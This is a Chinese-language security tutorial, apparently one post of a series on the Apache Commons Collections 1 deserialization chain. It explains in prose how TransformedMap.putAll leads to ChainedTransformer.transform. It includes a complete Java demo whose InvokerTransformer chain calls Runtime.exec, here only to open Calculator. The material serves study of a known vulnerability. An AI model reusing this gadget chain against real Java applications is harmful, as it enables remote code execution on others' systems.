0x01 前言
通过上一篇文章的学习,我们知道了
要想成功的命令执行就必须触发ChainedTransformer类的transform方法
而TransformedMap类中,支持我们触发漏洞的方法,一共有两个
分别是: put()与putAll()方法
上一篇文章,明明已经说过了这两个,那么为什么又要开一篇新文章说明?
因为本篇文章主要说明一下这个putAll()方法,为下一篇文章打好基础
因为下一篇文章,要真正的写一个反序列化的POC进行分析学习
而putAll()方法的利用方式的POC与下一篇文章的POC比较相似,所以先列出来学习学习,打打基础
0x02 demo
// 路径: /DeserializationTest/src/main/java// 文件名称: CommonCollections1Test2.javaimport org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class CommonCollections1Test2 {public static void main(String[] args) {// 要执行的命令String cmd = "open -a /System/Applications/Calculator.app";//构建一个 transformers 的数组,在其中构建了任意函数执行的核心代码Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{cmd})};// 将 transformers 数组存入 ChaniedTransformer 这个继承类Transformer transformerChain = new ChainedTransformer(transformers);// 创建个 Map 准备拿来绑定 transformerChinaMap innerMap = new HashMap();innerMap.put("kf", "vvv");// 创建个 transformerChina 并绑定 innerMapMap outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.putAll(innerMap);System.out.println("执行完毕");}}
0x03 正文
前置知识我就不讲了,上一篇文章都有,主要讲讲,为什么需要下面这样的代码才能触发漏洞
代码如下:
Map innerMap = new HashMap();innerMap.put("kf", "vvv");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);outerMap.putAll(innerMap);
进入TransformedMap类,查找putAll方法
通过查看putAll方法可以看到调用了this.transformMap()方法
在跟一下transformMap()方法,发现最终会循环调用本类的put()方法
而put()方法,会调用this.transformKey()与this.transformValue()方法
而最终这两个方法都会去调用transform方法,触发了,漏洞
而putAll方法,第一个参数需要一个Map进行循环
因此最终就建立了一个
Map innerMap = new HashMap();innerMap.put("kf", "vvv");
0x04 总结
本篇文章主要学习到为什么需要innerMap.put("kk", "vvv")这种写法才能触发漏洞即可
打下一个基础的种子方便我们下一篇文章,真正学习cc1简易版的反序列化漏洞即
未完待续….
